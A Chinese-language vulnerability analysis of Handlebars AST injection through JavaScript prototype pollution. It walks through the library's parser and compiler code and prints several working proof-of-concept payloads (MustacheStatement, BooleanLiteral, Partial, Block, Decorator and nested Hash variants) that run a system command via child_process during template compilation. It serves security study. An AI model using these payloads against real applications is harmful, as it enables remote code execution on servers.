详细分析Handlebars AST注入

原理图

image-20210925022250921

handlebarsparser在解析NumberLiteral类型的字符串时会使用Number()函数进行强制转换,正常情况下这个字符串只能数字,但是用过原型链污染我们可以构造一个非数字型的字符串

// node_modules\handlebars\dist\cjs\handlebars\compiler\parser.js

case 35:
this.$ = { type: 'StringLiteral', value: $$[$0], original: $$[$0], loc: yy.locInfo(this._$) };
break;
case 36:
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
break;

在将AST编译为函数时,handlebarspushString将字符串传到opcode中,用pushLiteral将数字和布尔值传入到opcode中,而这个opcode就是之后用来构造模板函数的,Literal类型在AST中表示变量的意思,具体可以参考Esprima语法树标准,所以我们下面我们能够利用的类型有NumberLiteralBooleanLiteral

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

StringLiteral: function StringLiteral(string) {
this.opcode('pushString', string.value); // 字符串使用pushString
},

NumberLiteral: function NumberLiteral(number) {
this.opcode('pushLiteral', number.value); // 数字使用pushLiteral
},

BooleanLiteral: function BooleanLiteral(bool) {
this.opcode('pushLiteral', bool.value); // 布尔值使用pushLiteral
},

UndefinedLiteral: function UndefinedLiteral() {
this.opcode('pushLiteral', 'undefined');
},

opcode: function opcode(name) {
this.opcodes.push({
opcode: name,
args: slice.call(arguments, 1),
loc: this.sourceNode[0].loc
});
},

那么我们如何调用这些函数呢,handlebars在编译语法树时会调用一个叫accept的函数来处理我们的语法树节点,他会调用node.type对应的构造函数来修改opcode,所以我们的重点也可以转换成如何控制accept(node)node值,且保证解析流程正常进行

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}

this.sourceNode.unshift(node);
var ret = this[node.type](node); // 调用node.type对应的构造函数
this.sourceNode.shift();
return ret;
},

Payload

原文作者采用的payload

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"loc": {
"start": 0
}
}];


var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

大概流程:

  1. type修改为Program绕过Lexer解析
  2. 污染Program中的body,注入自定义的AST
  3. compiler.js文件中找到可用Gadget,此Gadget能够控制accept(node)node值,原文作者利用的是MustacheStatement

漏洞分析

调用栈

compiler.js/ret()
compiler.js/compileInput()
base.js/parse()
base.js/parseWithoutProcessing()
visitor.js/accept()
compiler.js/compile()
compiler.js/accept()
compiler.js/Program()
compiler.js/MustacheStatement()
compiler.js/NumberLiteral() <-- 注入payload
javascript-compiler.js/compile()
javascript-compiler.js/createFunctionContext <-- 生成模板函数体
handlebars.runtime.js/create()
runtime.js/ret()
runtime.js/executeDecorators()
anonymous/templateSpec.main()

解析入口

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function ret(context, execOptions) {
if (!compiled) {
compiled = compileInput(); // 编译输入
}
return compiled.call(this, context, execOptions);
}

解析AST

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options), // 获取语法树
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec);
}

语法树解析

// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js

function parse(input, options) {
var ast = parseWithoutProcessing(input, options); // 转化为AST
var strip = new _whitespaceControl2['default'](options);

return strip.accept(ast); // 解析AST
}

这里的重点是将input.type污染为Program,从而绕过AST的转换阶段

// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js

function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') { // 如果已经是转换好的AST就直接返回
return input;
}

_parser2['default'].yy = yy;

// Altering the shared object here, but this is ok as parser is a sync operation
yy.locInfo = function (locInfo) {
return new yy.SourceLocation(options && options.srcName, locInfo);
};

var ast = _parser2['default'].parse(input); // 否则就调用Lexer解析节点生成AST

return ast;
}

这里是递归解析语法树

// node_modules\handlebars\dist\cjs\handlebars\compiler\visitor.js

accept: function accept(object) {
if (!object) {
return;
}

/* istanbul ignore next: Sanity code */
if (!this[object.type]) {
throw new _exception2['default']('Unknown type: ' + object.type, object);
}

if (this.current) {
this.parents.unshift(this.current);
}
this.current = object;

var ret = this[object.type](object); // 调用对应的构造函数解析AST

this.current = this.parents.shift();

if (!this.mutating || ret) {
return ret;
} else if (ret !== false) {
return object;
}
},

编译环境变量

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options), // 编译环境变量
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec);
}
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

compile: function compile(program, options) {
this.sourceNode = [];
this.opcodes = [];
this.children = [];
this.options = options;
this.stringParams = options.stringParams;
this.trackIds = options.trackIds;

options.blockParams = options.blockParams || [];

options.knownHelpers = _utils.extend(Object.create(null), {
helperMissing: true,
blockHelperMissing: true,
each: true,
'if': true,
unless: true,
'with': true,
log: true,
lookup: true
}, options.knownHelpers);

return this.accept(program); // 传入accept函数进行处理
},

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

accept: function accept(node) {
/* istanbul ignore next: Sanity code */
if (!this[node.type]) {
throw new _exception2['default']('Unknown type: ' + node.type, node);
}

this.sourceNode.unshift(node);
var ret = this[node.type](node); // 提取AST对应的type并调用该构造函数
this.sourceNode.shift();
return ret;
},

第一次node.type被污染为program

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

Program: function Program(program) { // 利用Program类来自定义类
this.options.blockParams.unshift(program.blockParams);

var body = program.body, // 通过污染body插入我们的恶意代码
bodyLength = body.length;
for (var i = 0; i < bodyLength; i++) {
this.accept(body[i]); // 提取我们的body继续调用accept进行解析
}

this.options.blockParams.shift();

this.isSimple = bodyLength === 1;
this.blockParams = program.blockParams ? program.blockParams.length : 0;

return this;
},

第二次node.type为自定义的MustacheStatement

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

MustacheStatement: function MustacheStatement(mustache) {
this.SubExpression(mustache); // 1

if (mustache.escaped && !this.options.noEscape) {
this.opcode('appendEscaped');
} else {
this.opcode('append'); // 如果没有设置escaped的话就进行append操作
}
},

SubExpression: function SubExpression(sexpr) {
transformLiteralToPath(sexpr);
var type = this.classifySexpr(sexpr);

if (type === 'simple') {
this.simpleSexpr(sexpr);
} else if (type === 'helper') {
this.helperSexpr(sexpr); // 2
} else {
this.ambiguousSexpr(sexpr);
}
},

helperSexpr: function helperSexpr(sexpr, program, inverse) {
var params = this.setupFullMustacheParams(sexpr, program, inverse), // 3
path = sexpr.path,
name = path.parts[0];

if (this.options.knownHelpers[name]) {
this.opcode('invokeKnownHelper', params.length, name);
} else if (this.options.knownHelpersOnly) {
throw new _exception2['default']('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr);
} else {
path.strict = true;
path.falsy = true;

this.accept(path);
this.opcode('invokeHelper', params.length, path.original, _ast2['default'].helpers.simpleId(path));
}
},

setupFullMustacheParams: function setupFullMustacheParams(sexpr, program, inverse, omitEmpty) {
var params = sexpr.params;
this.pushParams(params); // 4

this.opcode('pushProgram', program);
this.opcode('pushProgram', inverse);

if (sexpr.hash) {
this.accept(sexpr.hash);
} else {
this.opcode('emptyHash', omitEmpty);
}

return params;
},

pushParams: function pushParams(params) {
for (var i = 0, l = params.length; i < l; i++) {
this.pushParam(params[i]); // 5
}
},

pushParam: function pushParam(val) {
var value = val.value != null ? val.value : val.original || '';

if (this.stringParams) {
if (value.replace) {
value = value.replace(/^(\.?\.\/)*/g, '').replace(/\//g, '.');
}

if (val.depth) {
this.addDepth(val.depth);
}
this.opcode('getContext', val.depth || 0);
this.opcode('pushStringParam', value, val.type);

if (val.type === 'SubExpression') {
// SubExpressions get evaluated and passed in
// in string params mode.
this.accept(val);
}
} else {
if (this.trackIds) {
var blockParamIndex = undefined;
if (val.parts && !_ast2['default'].helpers.scopedId(val) && !val.depth) {
blockParamIndex = this.blockParamIndex(val.parts[0]);
}
if (blockParamIndex) {
var blockParamChild = val.parts.slice(1).join('.');
this.opcode('pushId', 'BlockParam', blockParamIndex, blockParamChild);
} else {
value = val.original || value;
if (value.replace) {
value = value.replace(/^this(?:\.|$)/, '').replace(/^\.\//, '').replace(/^\.$/, '');
}

this.opcode('pushId', val.type, value);
}
}
this.accept(val); // 6 很巧妙地将我们的payload再次传入accept函数
}
},

第三次node.typeNumberLiteral

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

StringLiteral: function StringLiteral(string) {
this.opcode('pushString', string.value);
},

NumberLiteral: function NumberLiteral(number) {
this.opcode('pushLiteral', number.value); // 将我们的payload识别为Literal而直接转进构造函数
},

BooleanLiteral: function BooleanLiteral(bool) {
this.opcode('pushLiteral', bool.value);
},

UndefinedLiteral: function UndefinedLiteral() {
this.opcode('pushLiteral', 'undefined');
},

后面还有一系列对opcode的操作,均为MustacheStatement语法树的编译过程,下图是编译好MustacheStatement语法树之后opcodes的全部操作,而我们的payload就被注入了第一个

image-20210925113821867

编译模板

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); // 将我们的环境变量传进去来编译templateSpec
return env.template(templateSpec);
}
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

compile: function compile(environment, options, context, asObject) {
this.environment = environment;
this.options = options;
this.stringParams = this.options.stringParams;
this.trackIds = this.options.trackIds;
this.precompile = !asObject;

this.name = this.environment.name;
this.isChild = !!context;
this.context = context || {
decorators: [],
programs: [],
environments: []
};

this.preamble();

this.stackSlot = 0;
this.stackVars = [];
this.aliases = {};
this.registers = { list: [] };
this.hashes = [];
this.compileStack = [];
this.inlineStack = [];
this.blockParams = [];

this.compileChildren(environment, options);

this.useDepths = this.useDepths || environment.useDepths || environment.useDecorators || this.options.compat;
this.useBlockParams = this.useBlockParams || environment.useBlockParams;

var opcodes = environment.opcodes,
opcode = undefined,
firstLoc = undefined,
i = undefined,
l = undefined;

for (i = 0, l = opcodes.length; i < l; i++) {
opcode = opcodes[i];

this.source.currentLocation = opcode.loc;
firstLoc = firstLoc || opcode.loc;
this[opcode.opcode].apply(this, opcode.args); // 这里就是使用我们opcode的操作,然后会把结果存到this.source.SourceNode中
}

// Flush any trailing content that might be pending.
this.source.currentLocation = firstLoc;
this.pushSource('');

/* istanbul ignore next */
if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
throw new _exception2['default']('Compile completed with content left on stack');
}

if (!this.decorators.isEmpty()) {
this.useDecorators = true;

this.decorators.prepend(['var decorators = container.decorators, ', this.lookupPropertyFunctionVarDeclaration(), ';\n']);
this.decorators.push('return fn;');

if (asObject) {
this.decorators = Function.apply(this, ['fn', 'props', 'container', 'depth0', 'data', 'blockParams', 'depths', this.decorators.merge()]);
} else {
this.decorators.prepend('function(fn, props, container, depth0, data, blockParams, depths) {\n');
this.decorators.push('}\n');
this.decorators = this.decorators.merge();
}
} else {
this.decorators = undefined;
}

var fn = this.createFunctionContext(asObject); // 创建模板的函数体
if (!this.isChild) {
var ret = {
compiler: this.compilerInfo(),
main: fn
};

if (this.decorators) {
ret.main_d = this.decorators; // eslint-disable-line camelcase
ret.useDecorators = true;
}

var _context = this.context;
var programs = _context.programs;
var decorators = _context.decorators;

for (i = 0, l = programs.length; i < l; i++) {
if (programs[i]) {
ret[i] = programs[i];
if (decorators[i]) {
ret[i + '_d'] = decorators[i];
ret.useDecorators = true;
}
}
}

if (this.environment.usePartial) {
ret.usePartial = true;
}
if (this.options.data) {
ret.useData = true;
}
if (this.useDepths) {
ret.useDepths = true;
}
if (this.useBlockParams) {
ret.useBlockParams = true;
}
if (this.options.compat) {
ret.compat = true;
}

if (!asObject) {
ret.compiler = JSON.stringify(ret.compiler);

this.source.currentLocation = { start: { line: 1, column: 0 } };
ret = this.objectLiteral(ret);

if (options.srcName) {
ret = ret.toStringWithSourceMap({ file: options.destName });
ret.map = ret.map && ret.map.toString();
} else {
ret = ret.toString();
}
} else {
ret.compilerOptions = this.options;
}

return ret;
} else {
return fn;
}
},

执行opcodepushLiteral的具体实现流程

// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js


// [pushLiteral]
//
// On stack, before: ...
// On stack, after: value, ...
//
// Pushes a value onto the stack. This operation prevents
// the compiler from creating a temporary variable to hold
// it.
pushLiteral: function pushLiteral(value) { // 注释也已经很清楚了
this.pushStackLiteral(value);
},

pushStackLiteral: function pushStackLiteral(item) {
this.push(new Literal(item));
},

function Literal(value) {
this.value = value;
}

push: function push(expr) {
if (!(expr instanceof Literal)) {
expr = this.source.wrap(expr);
}

this.inlineStack.push(expr);
return expr;
},

在执行最后的append操作的时候会将inlineStack中的内容pop出来加入到Source

// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

append: function append() {
if (this.isInline()) {
this.replaceStack(function (current) {
return [' != null ? ', current, ' : ""'];
});

this.pushSource(this.appendToBuffer(this.popStack()));
} else {
var local = this.popStack();
this.pushSource(['if (', local, ' != null) { ', this.appendToBuffer(local, undefined, true), ' }']);
if (this.environment.isSimple) {
this.pushSource(['else { ', this.appendToBuffer("''", undefined, true), ' }']);
}
}
},

这里是创建函数体上下文,将source中的东西转换成字符串函数

// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

createFunctionContext: function createFunctionContext(asObject) {
// istanbul ignore next

var _this = this;

var varDeclarations = '';

var locals = this.stackVars.concat(this.registers.list);
if (locals.length > 0) {
varDeclarations += ', ' + locals.join(', ');
}

// Generate minimizer alias mappings
//
// When using true SourceNodes, this will update all references to the given alias
// as the source nodes are reused in situ. For the non-source node compilation mode,
// aliases will not be used, but this case is already being run on the client and
// we aren't concern about minimizing the template size.
var aliasCount = 0;
Object.keys(this.aliases).forEach(function (alias) {
var node = _this.aliases[alias];
if (node.children && node.referenceCount > 1) {
varDeclarations += ', alias' + ++aliasCount + '=' + alias;
node.children[0] = 'alias' + aliasCount;
}
});

if (this.lookupPropertyFunctionIsUsed) {
varDeclarations += ', ' + this.lookupPropertyFunctionVarDeclaration();
}

var params = ['container', 'depth0', 'helpers', 'partials', 'data'];

if (this.useBlockParams || this.useDepths) {
params.push('blockParams');
}
if (this.useDepths) {
params.push('depths');
}

// Perform a second pass over the output to merge content when possible
var source = this.mergeSource(varDeclarations); // 把原本的source和varDeclarations拼接起来

if (asObject) {
params.push(source);

return Function.apply(this, params);
} else {
return this.source.wrap(['function(', params.join(','), ') {\n ', source, '}']); // 将source封装成函数
}
},

生成模板

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function compileInput() {
var ast = env.parse(input, options),
environment = new env.Compiler().compile(ast, options),
templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
return env.template(templateSpec); // 生成模板
}
// node_modules\handlebars\dist\cjs\handlebars.runtime.js

function create() {
var hb = new base.HandlebarsEnvironment();

Utils.extend(hb, base);
hb.SafeString = _handlebarsSafeString2['default'];
hb.Exception = _handlebarsException2['default'];
hb.Utils = Utils;
hb.escapeExpression = Utils.escapeExpression;

hb.VM = runtime;
hb.template = function (spec) {
return runtime.template(spec, hb);
};

return hb;
}

模板函数执行

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

function ret(context, execOptions) {
if (!compiled) {
compiled = compileInput();
}
return compiled.call(this, context, execOptions); // 执行函数获取返回值
}
// node_modules\handlebars\dist\cjs\handlebars\runtime.js

function ret(context) {
var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];

var data = options.data;

ret._setup(options);
if (!options.partial && templateSpec.useData) {
data = initData(context, data);
}
var depths = undefined,
blockParams = templateSpec.useBlockParams ? [] : undefined;
if (templateSpec.useDepths) {
if (options.depths) {
depths = context != options.depths[0] ? [context].concat(options.depths) : options.depths;
} else {
depths = [context];
}
}

function main(context /*, options*/) {
return '' + templateSpec.main(container, context, container.helpers, container.partials, data, blockParams, depths);
}

main = executeDecorators(templateSpec.main, main, container, options.depths || [], data, blockParams); // 对main函数进行装饰
return main(context, options); // 执行main函数
}

被污染的函数

(function anonymous(container,depth0,helpers,partials,data
) {
var stack1, lookupProperty = container.lookupProperty || function(parent, propertyName) {
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
return parent[propertyName];
}
return undefined
};

return ((stack1 = (lookupProperty(helpers,"undefined")||(depth0 && lookupProperty(depth0,"undefined"))||container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}),console.log(process.mainModule.require('child_process').execSync('calc.exe').toString()),{"name":"undefined","hash":{},"data":data,"loc":{"start":0,"end":0}})) != null ? stack1 : "");

})

总结

  1. 漏洞核心在于污染编译过程中的pushLiteral操作,其中可以用到NumberLiteral类型和BooleanLiteral类型

  2. typeProgram绕过Lexer解析器,从compiler.js找到可用的Gadget

  3. 在寻找Gadget时注意保持语法树的栈平衡,不然会在编译的时候抛出如下错误,这也是为什么我们需要借助MustacheStatement类型注入我们的payload,而不能直接将NumberLiteral注入到body

    /* istanbul ignore next */
    if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
    throw new _exception2['default']('Compile completed with content left on stack');
    }

拓展

BooleanLiteral

NumberLiteral替换为BooleanLiteral

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"params": [{
"type": "BooleanLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

PartialStatement

MustacheStatement改为PartialStatement

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "PartialStatement",
"name": "",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}]
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

PartialBlockStatement

MustacheStatement改为PartialBlockStatement

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "PartialBlockStatement",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"name": 0,
"openStrip": 0,
"closeStrip": 0,
"program": { "body": 0 },
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

BlockStatement

MustacheStatement改为BlockStatement

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "BlockStatement",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": 0,
"openStrip": 0,
"closeStrip": 0,
"program": { "body": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

Decorator

触发点和上面的有所差异,这个是在装饰main函数的时候插入自定义代码

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "Decorator",
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

inf Hash

无限内嵌Hash类型

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"params": [{
"type": "Hash",
"pairs": [{
"value":{
"type": "Hash",
"pairs": [{
"value":{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
}}]
}}]
}],
"path": 0,
"loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

参考

https://blog.p6.is/AST-Injection/